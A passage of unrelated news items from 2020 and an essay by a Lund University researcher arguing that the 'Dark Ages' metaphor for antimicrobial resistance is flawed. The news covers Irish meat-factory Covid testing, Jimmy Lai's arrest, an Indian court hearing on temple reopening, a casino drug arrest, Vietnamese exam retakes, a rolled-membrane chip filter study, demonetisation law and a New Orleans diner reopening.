Kildare, Offaly and Laois and will be extended across the country in the coming days. The new testing plans follows Offaly-based Carrolls Cuisine meat factory being forced to close after it sparked public outrage over continuing to operate while the county was in lockdown. Under new plans being discussed by ministers, all meat-factory workers will be tested every week for four weeks to ensure they are not spreading the virus in work while asymptomatic. The new testing regime will focus on the bigger processing plants those with more than 50 workers while factories with fewer than 50 staff will be subjected to risk assessments before it is decided if they should take weekly tests. The model being drafted by Agriculture Minister Dara Calleary and Health Minister Stephen Donnelly is based on the testing regime introduced for nursing homes at the height of the pandemic. It remains unclear who will pay for the large-scale testing of factory workers with Government sources last night saying the focus was on the logistics of introducing weekly tests across the country. A senior Government source has outlined how the key objective is to "strike a balance" between getting Covid-19 tests done and keeping food supply chains open. "We are coming up with a model that will allow testing in factories and get results back quickly so we can give people certainty," the source said. The testing plan follows outrage in Kildare, Offaly and Laois, the three counties in lockdown, after one meat factory refused to close despite an outbreak among its more than 300 staff. Offaly-based Carroll's Cuisine eventually suspended its operation yesterday afternoon after widespread anger grew among almost 400,000 people forced into quarantine. Last night, Minister of State Sean Fleming, who called for the closure, said he was glad the company took the right decision. "The public were finding it impossible to understand the rationale of pubs and restaurants being closed while meat factories were open and it was testing the social solidarity that has underpinned the response to the virus," the Laois-Offaly minister said. Super Junior Minister Pippa Hackett said it was "wrong" that the factory took so long to close and said they only did so because of public pressure. Meanwhile, Fianna Fail TD for Offaly Barry Cowen said he was "working behind the scenes" and advising the meat factory to shut down while the virus is spreading. The former agriculture minister said Carroll's had "come to the right decision" and urged against "vilifying them". "I appreciate people are frustrated, furious and many want to blame and vent anger against those who they feel are some way responsible for the fact that restrictions remain or are reimposed. However, it's imperative that we regain our focus, concentrate our energies on compliance and vigilance," Mr Cowen said. There was also anger among ministers and TDs yesterday over Health Minister Stephen Donnelly's failure to take a stronger stance on the meat factory for refusing to close while other businesses in Offaly, Kildare and Laois have been forced to shut their doors. "Where was he?" one minster asked before adding: "He could have come out and told them to close even if he didn't enact the public health legislation." Meanwhile, Oireachtas Covid-19 Committee chairperson Michael McNamara is holding an emergency meeting this week and has invited Mr Donnelly, the acting chief medical officer Ronan Glynn and HSE chief executive Paul Reid to attend. Meat Industry Ireland and the unions will also be invited to the hearings on Thursday. "There is a growing level of fear that is bordering on hysteria and it is important to get information out to the people on what the response is going to be from the State to these outbreaks," Mr McNamara said. Yesterday, Siptu organiser Greg Ennis said the union had agreed with Meat Industry Ireland to seek a meeting with the HSE about the ongoing issue in processing plans. "In what was a frank and robust meeting it was agreed that Siptu and Meat Industry Ireland (MII) representatives will seek to engage with the HSE to discuss the necessary improvements to testing protocol at meat plants. "This will focus on delivering quicker testing and results with a view towards protecting meat workers from infection while maintaining continuity in production," he said. Migrant Rights Centre Ireland's (MRCI) Edel McGinley said it was "abhorrent" that a factory would stay open rather than seek to protect workers' health. "It is not logical that a factory can run such labour-intensive production at the same pace prior to the pandemic; it is not business as usual," Ms McGinley said. Continued from Page 1 Hong Kongs new National Security Law was used to snare its biggest target to date on Monday morning, as media mogul Jimmy Lai was arrested along with eight others on suspicion of collusion with foreign powers. The offence carries a maximum sentence of life in prison under the law. Lai, 71, is a rare tycoon in Hong Kong to speak out against Beijing, and owns the avowedly pro-democracy Apple Daily newspaper. The papers newsroom was later raided by about 200 police, as was a restaurant owned by one of his two sons, who were both also arrested. The businessman, who came to Hong Kong from mainland China as a stowaway at the age of 12, has had numerous links with high-ranking officials in the United States in recent years. Last year, he met both Vice-President Mike Pence and Secretary of State Mike Pompeo in Washington and in May called on Donald Trump to save Hong Kong. However, given the National Security Law is not retroactive, it is unclear if Lai has violated it since it came into force on 30 June. It is the third time Lai has been charged this year on the previous two occasions for illegal assembly and incitement to illegal assembly during last years protests and at this years outlawed Tiananmen vigil on 4 June. He has in the past been the target of violent attacks for his pro-democracy stance, most recently last September when suspected Triads threw petrol bombs at his home. But it was the targeting of Apple Dailys newsroom, a couple of hours after Lais arrest, that aroused the most outrage in Hong Kong. Police officers descended en masse on the offices in the suburb of Tseung Kwan O, despite social distancing measures due to Covid-19 currently restricting public gatherings to two people. Apple Daily broadcast the raid live on its Facebook page. The Democratic Party, of which Lai is a major donor, denounced the arrests of members of the press also detained were executives of Next Media, the newspapers owners and said the raid on the offices was intended to create a deterrent effect for pro-democracy media. READ ALSO: Former student leader Joshua Wong said the raid spelled the death of press freedom in Hong Kong. Several media groups were also refused entry to a police press conference after the raid; one of them, the public broadcaster Radio Television Hong Kong, reported its journalists were told the police were not admitting media that had previously obstructed them. EU denounces tycoons arrest The European Union on Monday accused China of using Hong Kongs new security law to crack down on media freedom, following the arrest of Jimmy Lai. A spokesman for Josep Borrell, the EU foreign policy chief, said Lais arrest and the raid on his newspaper Apple Daily stoke fears for freedom of expression in Hong Kong. The European Union recalls that the respect for human rights and fundamental freedoms is a central element of the Basic Law and the one country, two systems principle. In addition, media freedom and pluralism are pillars of democracy as they are essential components of open and free society, the spokesman said. Beijing has welcomed the arrest, accusing Lai of being an anti-China rabble-rouser. Radio France International is PREMIUM TIMES syndication partner. We have permission to republish its contents. The Bombay high court (HC) on Tuesday said the Maharashtra government should consider allowing people of all faiths to visit their respective places of worship, especially when a gathering of 20-30 people was being allowed to attend weddings and funerals amid the raging coronavirus disease (Covid-19) outbreak in the state, which is the worst affected as far as the contagion is concerned. All religions should be allowed to some extent If you allow people to gather for weddings and funerals, why not allow them in temples? asked the two-member HC division bench, comprising Justices SJ Kathawalla and Madhav Jamdar. The bench suggested that in order to ensure that no crowd gathers at the shrines at any point of time, the state government could fix certain time slots and the number of persons to be allowed to enter a temple within the stipulated timeframe. It recommended that the public might be allowed if they follow the standard operating procedures (SOPs) laid down by the Union Ministry of Home Affairs (MHA), including maintaining social distancing norms etc. The bench was hearing a petition filed by Ankit Vora (30), a Bhandup resident, seeking direction to the state authorities to permit opening of Jain temples for the annual holy festival of Paryushana, which will be held between August 15 and 23. He also sought permission for allowing members of Shwetamber Murtipujak Jain community to perform religious functions and worship during this festive season in Jain temples. Vora contended that the Central government has permitted the opening of places of worship, subject to following maintaining social distancing, and, as a result, the state government should also allow religious shrines in Maharashtra to open and come out with necessary guidelines to that effect. Prafulla Shah, who represented Vora, submitted that offering prayers at places of worship were more necessary amid the Covid-19 pandemic, when the public is striving for mental peace. Shah complained that places of worship were ordered to remain closed when liquor shops are allowed to do business. State government pleader Purnima Kantharia responded to the petition pointing out that the authorities have been indiscriminate in opening places of worship to all faiths. Additional solicitor-general (ASG) Anil Singh responded to the petition pointing out that the Central government has permitted the opening of places of worship outside Covid-19 containment zones and on July 29 issued separate guidelines for such places. Now, there is no restriction on visiting places of worship outside containment zones, Singh said. But there can be no gatherings at the shrines, he said. The offering of common prayers, religious functions, and ceremonies, touching of idols, etc. is prohibited under the guidelines, he added. Singh, however, suggested that the state government should take a call on the issue. He supported the courts suggestion that the petitioner should be asked to submit representations to the state government, which, in turn, should be directed to decide the matter expeditiously. HC accepted the suggestion and directed the petitioner to submit representations to the secretary, disaster management department, Maharashtra. The bench will hear the case next on Thursday (August 13). SHARE THIS ARTICLE ON A 30-year-old Montgomery County man dropped a plastic bag on Monday afternoon containing 33 grams of methamphetamine, a phone and a digital scale on the gaming floor of the Wind Creek Casino in Bethlehem, Pennsylvania State Police report. Casino security notified Pennsylvania State Police, who have a bureau of gaming enforcement at Wind Creek, at 3:10 p.m. that the bag was found police said. A subsequent police field test of the drug came back positive for meth, court papers say. Zachery Ian Winters, of East Greenville, was seen on casino surveillance losing the bag, police said. About 8 p.m., security notified state police that Winters was in the food court, and he was taken into custody about 15 minutes later, police said. Winters was arraigned before District Judge Alan Mege on charges of possession with intent to deliver a controlled substance, possession of a controlled substance and possession of drug paraphernalia, records show. Winters was housed in Northampton County Prison in lieu of $50,000 bail, records show. His preliminary hearing is tentatively scheduled 9 a.m. Aug. 24 in District Judge Nicholas Englessons court in Bethlehem. Court papers do not list an attorney for Winters. Thank you for relying on us to provide the journalism you can trust. Please consider supporting lehighvalleylive.com with a voluntary subscription. Tony Rhodin may be reached at arhodin@lehighvalleylive.com. Your browser does not support the audio element. A number of students in three Vietnamese provinces of Bac Ninh, Dien Bien, and Binh Phuoc retook part of their tests in the national high school exam on Tuesday due to supervisors errors. The 2020 national high school exam commenced on Saturday, when students showed up at exam venues to complete mandatory procedures prior to the actual tests, which took place over Sunday and Monday. More than 870,000 students across the country sat for their literature and math tests on Sunday, and foreign language, natural sciences, and social sciences tests on Monday. While most of the examinees enjoyed their first day of free time after finishing the important exam on Tuesday, some had to retake part of their tests on the same day due to human error. In the northern province of Bac Ninh, the supervisors in one examination room mistakenly signed their names in a section reserved for examiners during the literature test. To correct their mistakes, the supervisors handed students new answer sheets and asked them to copy their answers over, but did not give them extra time for the task. Students are pictured before taking their foreign language test, part of the national high school exam, at Tan Phong High School in District 7, Ho Chi Minh City, August 10, 2020. Photo: Nhu Hung / Tuoi Tre In the northern province of Dien Bien, the supervisors in seven examination rooms handed out the geography exam questions to the candidates five minutes late without compensating for the lost time. In the southern province of Binh Phuoc, both the supervisors and an examinee in a test room mistakenly believed that the latter was exempted from taking the geography test, while in fact the candidate was not. It was not until the end of the test that the supervisors found the candidates name on the list of test-takers. As a result, the students in the eight aforementioned exam rooms in Bac Ninh and Dien Bien and the candidate in Binh Phuoc had to retake their literature and geography tests on Tuesday, as per the decision of the Ministry of Education and Training at a meeting on Monday afternoon. Questions for Tuesdays exam sitters had been prepared as backups beforehand and were at the same level of difficulty as the official ones handed out on Monday, the education ministry said. Students are pictured before taking their foreign language test, part of the national high school exam, at Tan Phong High School in District 7, Ho Chi Minh City, August 10, 2020. Photo: Nhu Hung / Tuoi Tre All high school students in Vietnam are required to take the national high school exam at the end of grade 12 to obtain their high school diploma. Results of the test also serve to help universities and colleges enroll students. The exam includes five tests, namely math, literature, foreign language, natural sciences, and social sciences. The foreign language test can be English, French, German, Chinese, Japanese, or Russian; natural sciences are a combination of physics, chemistry, and biology; and social sciences include history, geography, and civic education. The annual exam often takes place in July. This years edition was delayed until August due to prolonged school breaks caused by the novel corona virus disease (COVID-19) pandemic earlier this year. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! Electronic components join forces to take up 10 times less space on computer chips CHAMPAIGN, Ill. -- Electronic filters are essential to the inner workings of our phones and other wireless devices. They eliminate or enhance specific input signals to achieve the desired output signals. They are essential, but take up space on the chips that researchers are on a constant quest to make smaller. A new study demonstrates the successful integration of the individual elements that make up electronic filters onto a single component, significantly reducing the amount of space taken up by the device. Researchers at the University of Illinois, Urbana-Champaign have ditched the conventional 2D on-chip lumped or distributed filter network design - composed of separate inductors and capacitors - for a single, space-saving 3D rolled membrane that contains both independently designed elements. The results of the study, led by electrical and computer engineering professor Xiuling Li, are published in the journal Advanced Functional Materials. "With the success that our team has had on rolled inductors and capacitors, it makes sense to take advantage of the 2D to 3D self-assembly nature of this fabrication process to integrate these different components onto a single self-rolling and space-saving device," Li said. In the lab, the team uses a specialized etching and lithography process to pattern 2D circuitry onto very thin membranes. In the circuit, they join the capacitors and inductors together and with ground or signal lines, all in a single plane. The multilayer membrane can then be rolled into a thin tube and placed onto a chip, the researchers said. "The patterns, or masks, we use to form the circuitry on the 2D membrane layers can be tuned to achieve whatever kind of electrical interactions we need for a particular device," said graduate student and co-author Mark Kraman. "Experimenting with different filter designs is relatively simple using this technique because we only need to modify that mask structure when we want to make changes." The team tested the performance of the rolled components and found that under the current design, the filters were suitable for applications in the 1-10 gigahertz frequency range, the researchers said. While the designs are targeted for use in radio frequency communications systems, the team posits that other frequencies, including in the megahertz range, are also possible based on their ability to achieve high power inductors in past research. "We worked with several simple filter designs, but theoretically we can make any filter network combination using the same process steps," said graduate student and lead author Mike Yang. "We took what was already out there to provide a new, easier platform to lump these components together closer than ever." "Our way of integrating inductors and capacitors monolithically could bring passive electronic circuit integration to a whole new level," Li said. "There is practically no limit to the complexity or configuration of circuits that can be made in this manner, all with one mask set." ### Professor Pingfeng Wang and postdoctoral researcher Zhuoyuan Zheng, of industrial and enterprise systems engineering; professors Yang Shao, Songbin Gong and student Jialiang Zhang, of electrical and computer engineering; and professor Wen Huang and graduate student Haojie Zhao, from Hefei University of Technology, China; also contributed to this study. The National Science Foundation and the Jiangsu Industrial Technology Research Institute, China, supported this research. Li is the interim director of the Holonyak Micro and Nanotechnology Laboratory and also is affiliated with mechanical science and engineering, the Materials Research Laboratory and the Beckman Institute for Advanced Science and Technology at the U. of I. Editor's notes: To reach Xiuling Li, call 217-265-6354; email xiuling@illinois.edu. The paper "Monolithic heterogeneous integration of 3D microwave L-C elements by self-rolled-up membrane nanotechnology" is available online and from the U. of I. News Bureau. DOI: 10.1002/adfm.202004034. This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. New Delhi: The government is likely to amend the Reserve Bank of India Act to extinguish the validity of Rs 500 and Rs 1000 printed before November 9 and a reference to this effect would be made in the upcoming Budget. As part of the demonetisation process, there would be a law to make Rs 500, Rs 1,000 notes invalid and it can be made effective from March 31, sources said.In 1978, when the currency was banned, the law to annul the validity came ahead. This time the government acted under 26 (2), sources said. As per RBI Act Section 26 (2), the central government, on the recommendation of the Central Board of RBI, may by notification in the Gazette of India, declare that, with effect from such date as may be specified in the notification, any series of bank notes of any denomination shall cease to be legal tender. Asked about the amount of money which did not get into the system, sources said, it would add to bottomline of the RBI and it would be in a position to pay the government in the form of higher dividend or special dividend. Also read | Delhi's Greater Kailash raid update: Rs 13.65cr seized, Rs 2.61cr in new Rs 2,000 banknotes Banks have received Rs 12 lakh crore demonetised currency notes as against Rs 15.5 lakh crore. The government expects Rs 13 lakh crore to come back to banking system. Higher dividend from the RBI due to cancellation of Rs 500/1000 may not be applicable until the RBI law is amended. Last week, Reserve Bank Governor Urjit Patel had said it would not have any automatic impact on the central banks balance sheet as per the existing law. Actually, the withdrawal of legal tender characteristics status does not extinguish any of RBIs balance sheet. Therefore, there is no implication on the balance sheet as of now. The question of a special dividend automatically does not arise as of now, Patel had said. RBI has issued currency notes worth over Rs 4.27 lakh crore to public through banks and ATMs following the demonetisation of old high value bills. Consequent to the announcement of withdrawal of legal tender status of banknotes of Rs 500 and Rs 1,000 from the midnight of November 8, 2016, the central bank made arrangements for exchange and/or deposit of such notes. Long queues for cash withdrawal have been witnessed outside banks and ATMs all over the country since November 10. The bank were kept closed on November 9, the day demonetisation came into effect. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. People standing in line outside the Camellia Grill is as much a part of this corner of the Riverbend as the sound of streetcars shimmying around the turn. Now what you also see outside the 1940s-era diner are people sitting and eating at new patio tables, part of the Camellia Grills plan to get back to business. The historic restaurant shut down this spring during the upheaval of the coronavirus crisis. Now reopened last Friday (Aug. 14), with a fresh renovation and new outdoor seating. It brought back the menu standards and the staff that have together made this 1940s-vintage diner its own slice of New Orleans food lore. I think if we open, people will see that New Orleans is coming back, bit by bit, said owner Hicham Khodor. We all need that. Khodor bought and reopened Camellia Grill after Hurricane Katrina. Today, he acknowledges that the pandemic is a very different crisis from the one Katrina brought the city but he still believes some lessons from it apply. Hes anticipating a long slow recovery, and one that needs some markers of progress. "We need to get back to business, and people need to see things moving forward," he said. While closed, the old property went through a sweeping renovation, from new floors to electrical systems. But it kept the timeless look of the old place intact, from the contours of the diner counter to the Mickey Mouse clock on the wall high above the waffle irons. The restaurant also has some new accommodations for the times, namely that outdoor seating. Previously, all seating was comprised of stools lining the diner counter. The only other seats in the house were benches that served as waiting areas for the counter. Louisiana restaurants are currently prohibited from serving customers at their bars, part of state rules in the coronavirus fight. But the Camellia Grill has no liquor license and no bar. To reopen at the 50% indoor capacity, customers will be seated along the counter with stools left empty between people dining together. And the diner will have its new outdoor tables on the small covered patio by the classic columns along its facade, and on the sidewalk under an overhanging oak. Public health officials have said outdoor activities are safer than indoor for containing virus spread, and restaurants are under less restrictive rules for outdoor service. Food and restaurant news in your inbox Every Thursday we give you the scoop on NOLA dining. Sign up today. e-mail address * Sign Up New tables have been fabricated using the same kind of marble that lines the diner counter, lending some continuity. The Camellia Grill first opened in 1946 on South Carrollton Avenue. Located near Tulane and Loyola universities, it became a crossroads for college students, tourists and night owls. Known for its chili cheese omelets, burgers and chocolate freeze milkshakes, its following is also strongly linked to the corps of charismatic waiters behind the counter. Take a seat you often get a fist bump along with your napkin. Order the pecan pie and you might be told the calories can be "slapped out of it" by a spin over the hot griddle. There was the late Harry Tervalon, who worked at the Camellia Grill from its first day in the 1940s all the way until retiring in 1995. Wildred Bat Batiste also worked here for half a century. Marvin Word Day became a legend at the diner, and his personal catchphrase Word was his nickname and his universal greeting to customers. The news of Days death in 2016 at age 50 brought an outpouring of response from around the area. To reopen now, manager Ronald Jaeger said the restaurant is bringing back its pre-pandemic staff in phases as capacity limits and business dictates. The restaurant is also taking phone orders for takeout and delivery service through Waitr, as well as dine-in service. The Camellia Grill 626 S. Carrollton Ave., 504-309-2679 Daily 10 a.m.-7 p.m. +5 What's next for Bravo restaurant at Lakeside Mall? New idea from a growing local group The longtime home of Bravo! Italian Kitchen at the Lakeside Mall in Metairie is now being transformed into a new Italian restaurant from a New +7 Expanded outdoor dining in New Orleans streets starts soon, and here's a glimpse of how it'll work New Orleans restaurants could soon have more tables on sidewalks, in tented parking lots and even in empty parking lanes officials hope to tra +22 Can restaurants thrive right now? Barrows Catfish shows how, mixing tradition, safety This column is part of an ongoing look at how New Orleans restaurants are contending with the pandemic. +15 With outdoor dining now a must, New Orleans restaurants get creative to survive summer When the summer sun finally slipped under a roofline, the sky was the same coral pink as the boiled shrimp on the outdoor tables at Seithers In 2014, then Prime Minister David Cameron told the British public that we are in danger of going back to the Dark Ages of medicine. He was introducing the UK government commissioned Review on Antimicrobial Resistance (AMR), which projected that there would be 10 million deaths per year due to AMR by 2050. While Cameron did not invent the Dark Ages metaphor with regard to AMR, this language and imagery has spread social media, TED talks, YouTube, documentaries, and research. Across various types of media, audiences are told that modern medicine as we know it will cease to exist when antibiotics stop working due to antimicrobial resistance; a return to the Dark Ages or at the very least the pre-antibiotic era awaits us. There is some truth to this. Not only are antibiotics used to treat acute infections, but they are also used prophylactically in routine surgeries and in procedures that compromise the immune system, such as in chemotherapy. However, using the Dark Ages as a metaphor to imagine a post-antibiotic era is flawed, as are any comparisons to the pre-antibiotic era. Firstly, many aspects of scientific knowledge and practice have changed not only since the Dark Ages but also since penicillin entered medical use in 1942. Secondly, many of our risk factors and protective factors are also different. In her 2015 TED Talk, journalist Maryn McKenna reminds an audience in Vancouver that in the pre-antibiotic era people died of infections after being gored by an ox, shot on a battlefield, or crushed in one of the new factories of the industrial revolution. Even if antibiotics stop working, these are hardly everyday hazards that most 21st Century Canadians would need to worry about. In this essay, I start with a short definition of the Dark Ages and then discuss how this is a poor metaphor for imagining the future. I then examine how this metaphor along with associated language and imagery around catastrophe and apocalypse reflects contemporary societal anxieties. In doing so, I draw upon dystopian fiction, as well as social science thinking. Finally, I conclude by presenting a more hopeful image of a liveable post-antibiotic future. The Dark Ages a brighter picture The term the Dark Ages typically refers to the Middle Ages or Medieval period in Europe (5th to 15th Centuries), more commonly the early Middle Ages (5th to 10th Centuries). In popular culture, the Dark Ages are associated with words like struggle, brutal, disease, violence, filth, and famine. For many, it is visualised as a time in which serfs and peasants lived harsh lives in fear of Viking invasions or the plague. Indeed when medieval medicine comes up in conversation, leeches and pestilence spring to mind. It is a time of superstition and religion instead of science. This is, of course, an imagined history and there are many misconceptions about the Dark Ages, in general, and medical practices of the time, specifically (Van Arsdall 2008; Getz 1998). This is partly because relatively few written records exist from the time, so we have used our own biases to fill in the gaps. Many of the records that do exist come from Roman writers at the end of the Roman Empire, or from later writers particularly those during the Age of Enlightenment who viewed Rome as the height of civilisation; these are similarly tinged with biases of their respective eras (Wells 2008). Today, most historians avoid the Dark Ages label, and recent research in history and archaeology indicates that rather than being a backwards regression from the Roman Empire, it was in fact a time of brilliant activity (Wells 2008). During this time, medicine was not practiced in absence of empiricism or scholarship. Rather, depending on time and places, many medieval medical practices were based on Greek, Roman, and Islamic medical beliefs, as well as local practices (Getz 1998). This is not to suggest that life was easy during these centuries: as imagined, leprosy and plague were two particularly prevalent diseases in the Middle Ages (Getz 1998, 80). However, medieval health conditions and medical practices were far more nuanced than in our contemporary imagination. Overall, Historian Faye Getz has suggested that the way in which healing was organised and practiced in the Middle Ages is so different from today that it is not useful to try and draw comparisons with contemporary medicine. Instead, she suggests we take the anthropologists perspective, and view medieval medicine as a logical system based on societys conception of the natural world. But rather than discussing an actual time period, I am interested in the Dark Ages as an imagined place outside of time and space. The Dark Ages metaphor refers to backwardness and the other. A humorous example comes from Star Trek IV: The Voyage Home (1986) in which Captain Kirk and the crew of the Enterprise travel back in time to 1986. After an injury, Chekov ends up in a hospital and needs to be rescued: Dr McCoy sees a woman lying on a gurney in the corridor and moaning. He asks what is wrong and when she answers with dialysis, he replies: Dialysis my god, what is this, the Dark Ages? He then meets two junior doctors in the lift, discussing senior doctors disagreeing over chemotherapy or image therapy. When asked if he has an opinion, McCoy replies with: Sounds like the goddamn Spanish Inquisition to me Then, when they find Chekov in the surgical theatre, McCoys assessment of the situation is that were dealing with medievalism here While these scenes take a light-hearted approach to the Dark Ages metaphor, in real life it is generally pejorative, often reflecting racism and xenophobia. Researching online comments around the Dark Ages in relation to AMR, sociologists Nik Brown and Sarah Nettleton find barely publishable language about the other often people in low-income countries, immigrants and/or Muslims who are accused of living in the Dark Ages now (Brown and Nettleton 2017, 501). A key method in my own research on AMR is sitting in my pajamas watching YouTube. While many think they would enjoy this, it is challenging and exhausting to watch factually inaccurate, implicitly or explicitly racist and anti-Semitic videos for hours on end. AMR and our appetite for dystopias Social science researchers, predominately from sociology, have examined not only the Dark Ages but also other related metaphors around AMR. For instance, Brigitte Nerlich, along with Brian Brown and Paul Crawford, has looked at catastrophic and apocalyptic language (Nerlich 2009; Brown and Crawford 2009). Brown and Nettleton have argued that AMR has become a medium for the expression of a prevailing cultural ambivalence about hygiene, dirt, nature, infections, bugs and the non-self or immunity other. That is, AMR is a canvass for the projection of wider existential insecurities (Brown and Nettleton 2017, 495, 501). Writing on AMR, Brown and Crawford use Sociologist Sheldon Ungars notion of this mutation-contagion package: microbes and the environment are conjoined in an ecological parable involving population growth and antibiotic overuse, and with microbes knowing no boundaries (globalisation), and the notion that we are waiting for the next plague (Brown and Crawford 2009, 510) Drawing upon Jean-Francois Lyotard and Mary Douglas, they further argue that The sense of technological advance and progress in fighting infection the sense of emancipation through scientific progress is challenged by popular and technical discourses detailing the hazards of a sojourn in hospital. a perceived threat to deeply held beliefs about material, moral, or social order (Brown and Crawford 2009, 508) Dystopian fiction offers similar theoretical perspectives for understanding why we are drawn to Dark Ages, apocalyptic and catastrophic language, and how this language reflects uncomfortable truths about contemporary society. It often serves as a commentary on current values, society, politics and fears; and as a warning of what may happen if we do not change our behaviour (cf. Demerjian 2016). In this way, the dark age metaphor is about projecting our fears both forwards and backwards in time. A main theme in dystopian fiction is that technology that has run amok (cf Barton 2016; Stein 2016; Tiehen, 2016; Stapelton 2016). This is based on a paradox that we were promised that technology would save us, but it has instead destroyed us. A related narrative is that of nature fighting back, where we thought that we could conquer nature, but instead realise too late that this is mere folly. Another set of themes in dystopian fiction is centered around the notion of conspiracy theories and blaming others. In many examples of dystopian fiction, society has become xenophobic in the aftermath of an environmental or technological disaster (Barton, 2016). Blame and conspiracy theories represent ways to deal with insurmountable problems and explaining why ones group has suffered. Comparing themes in dystopian fiction to AMR discourse helps us understand the invocation of metaphors about the Dark Ages . If antibiotics are the measure and benchmark of modern medicine (Brown and Nettleton 2017, 500), then they have failed. But they have failed because we have misused them on both humans and animals and they no longer work. Instead we are left with a collective grief that modernity and rationality failed, that the golden age of medicine is over. Our narcissist thinking, that we humans could conquer microbes, was mere folly. The other causing or spreading resistance may be doctors who prescribe too many antibiotics or patients who demand them. It may be immigrants who come from dark age countries, bringing AMR to wealthier countries. (Here we ignore a number of ugly truths not least that high income countries consume pharmaceutical products produced in middle-income countries, where the pharmaceutical waste contribute to the AMR problem.) In describing AMR, the Dark Ages metaphor does not refer to the Middle Ages in Europe, but rather to an imaged place outside of time and space on which we project our own fears and biases about technology, modern medicine, and the other. Beyond metaphors a liveable post-antibiotic future Health metaphors have potentially negative impacts on how we understand the body, health risks, and disease, with tangible impacts upon healthcare, research, and society at large (Cobb 2020; Nerlich 2008; Martin 1991). Comparing climate change science to AMR, Nerlich asks whether or not catastrophic language helps or hinders the cause: Do people feel empowered to do something, or do they just feel powerless and do not act; attention grabbing versus fear? (Nerlich 2009, 577). The current proposed solutions to AMR as a societal challenge are limited by our contemporary imagination. Alarmist language including the Dark Ages metaphor has been used to define AMR as an economic problem (Brown and Nettleton, 2017). The idea is that we need market-based solutions to encourage pharmaceutical companies to invest in new antibiotics arises frequently in the publications coming out of the UKs Review on Antimicrobial Resistance. Ironically, in many ways the market has already created a post-antibiotic dystopia in the form of pharmaceutical waste in rivers and animal husbandry practices based on overuse of antibiotics in animals. I do agree that we need new antibiotics, but market-based solutions are not the only way to develop them. I doubt we are returning to feudalism but rather we may be moving towards a way of organising society we have not yet considered. I also suggest that the use of history-as-future metaphors, alongside apocalyptic and catastrophic language, prevents us from thinking calmly and hopefully about a liveable post-antibiotic era. So, if it will not be a return to the Dark Ages, what does a liveable antibiotic future look like? Firstly, there are limits to how the past can help us imagine the future. Science fiction from the 1950s or 1960s often reflected or subverted social norms from those decades when portraying the future. For instance, themes around racial or gender equality feature in Star Trek: The Original Series (1966-1969). Nevertheless, there were limits on the extent to which the series could imagine a future beyond the social norms of the time: while there was an African American, female bridge officer, there were also many examples of Captain Kirk seducing alien women in a way that may have been acceptable in the 1960s but not in 2020. When it comes to antimicrobial resistance, contemporary social norms place limits not only on how we imagine the future, but also on how we imagine future solutions, and the roadmap for achieving these solutions. Even if antibiotics stop working, this does not mean that the plague will return. Nor will we be gored by oxen. Secondly, while the future is not the past, the past reminds us that all things are possible. One hundred years ago, eradicating smallpox was not even an idea. Now it is a reality. Even if society has anxieties and doubts about technology, there are technologies that we cannot even imagine today. History also helps us to remember the paths not chosen. For instance, phage therapy for combating bacterial infections is only now being rediscovered by Western countries even though it has been used for decades in places such as Georgia. Thirdly, we need a shift towards preventing disease. Again, at the risk of contradicting myself, the past does actually offer solutions. In 2013 then UK Chief Medical Officer Dame Sally Davies spoke of rediscovering hygiene. In another example, Ulf Hogberg has argued that drastic declines in maternal mortality in Sweden occurred before the advent of modern medicine due to the introduction of trained midwives and antiseptic techniques (Hogberg 2004). Other non-antibiotic ways of addressing infection include ensuring clean and safe housing, better ventilation in hospitals, safer roads (to decrease infections after road traffic accidents) and preventing conditions that lower immunity, such as Type- II diabetes. A current example from real life is the current coronavirus pandemic, where preventive measures (social distancing, hand washing, etc.) are at the absolute forefront. In these cases, there is also a clear need to reduce inequalities in the social determinants of health. Finally, while one should be hesitant to compare the mosaic of practices and beliefs of medieval medicine to today, there is some applicability in the comparison. In general, medieval medical practices offered more holistic approaches to life and the body. There was a great deal of emphasis on what we today might think of as wellness or lifestyle advice (Getz 1998). There was also a focus on Christian charity in the project of helping poor: the provision of food, shelter and protection which certainly contributed to decreased risks of infection (Getz 1998, 90). The Dark Ages were not all dark, and neither does a post-antibiotic future need to be. In the meantime, I need to go and wash my hands. Rachel Irwin is a researcher in ethnology in the Department of Arts and Cultural Sciences at Lund University. This commentary comes out of the interdisciplinary Post-Antibiotic Futures theme at the Pufendorf Institute for Advanced Studies, Lund University. Works Cited Brown, Brian and Paul Crawford. 2009. Post-antibiotic apocalypse. Discourses of mutation in narratives of MRSA. Sociology of Health & Illness 31, no. 4: 508524. https://doi.org/10.1111/j.1467-9566.2008.01147.x Brown, Nik and Sarah Nettleton. 2017 There is worse to come: The biopolitics of traumatism in antimicrobial resistance. The Sociological Review 65, no. 3:493-508. https://doi.org/10.1111/1467-954X.12446 Barton, Riven. 2016. Dystopia and the Promethean Nightmare. In The age of dystopia: one genre, our fears and our future, edited by Louisa Mackay Demerjian, 5-18. Newcastle upon Tyne: Cambridge Scholars Publishing. Chandler, Clare. 2020. Current accounts of antimicrobial resistance: stabilisation, individualisation and antibiotics as infrastructure, Palgrave Communications 5, no. 53. https://doi.org/10.1057/s41599-019-0263-4 Cobb, Matthew. 2020. Why your brain is not a computer. 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Champaign, IL: University of Illinois Press. Martin, Emily. The Egg and the Sperm: How Science has Constructed a Romance Based on Stereotypical Male-Female Roles. Signs. 16, no.3:485-501. http://www.jstor.org/stable/3174586 McKenna. Maryn. 2015. What do we do when antibiotics dont work any more? Filmed June 25, 2015 at TED Vancouver, BC. https://www.youtube.com/watch?v=o3oDpCb7VqI Nerlich, Birgitte. 2009. The post-antibiotic apocalypse and the war on superbugs: catastrophe discourse in microbiology, its rhetorical form and political function. Public Understanding of Science. 18, no. 5:574590 https://doi.org/10.1177/0963662507087974 Nichter, Mark. 2010. Idioms of Distress Revisited. Culture, Medicine and Psychiatry 34:401-416. https://doi.org/10.1007/s11013-010-9179-6 Nichter, Mark. 1981. Idioms of distress: alternatives in the expression of psychosocial distress: a case study from South India. Culture, Medicine and Psychiatry 5, no. 4:379-408. https://doi.org/10.1007/BF00054782 Stapelton, Patricia. 2016. The people in the Chaos Cannot Learn: Dystopian Vision in Atwoords Maddaddam Trilogy. In The age of dystopia: one genre, our fears and our future, edited by Louisa Mackay Demerjian, 19-34. Newcastle upon Tyne: Cambridge Scholars Publishing. Stein, Karen F. Post-apocalypse, post-human: some recent dystopias. In The age of dystopia: one genre, our fears and our future, edited by Louisa Mackay Demerjian, 47-58. Newcastle upon Tyne: Cambridge Scholars Publishing. Tiehen, Jeanne. 2016. Dystopian drama: imaging science without limitations. In The age of dystopia: one genre, our fears and our future, edited by Louisa Mackay Demerjian, 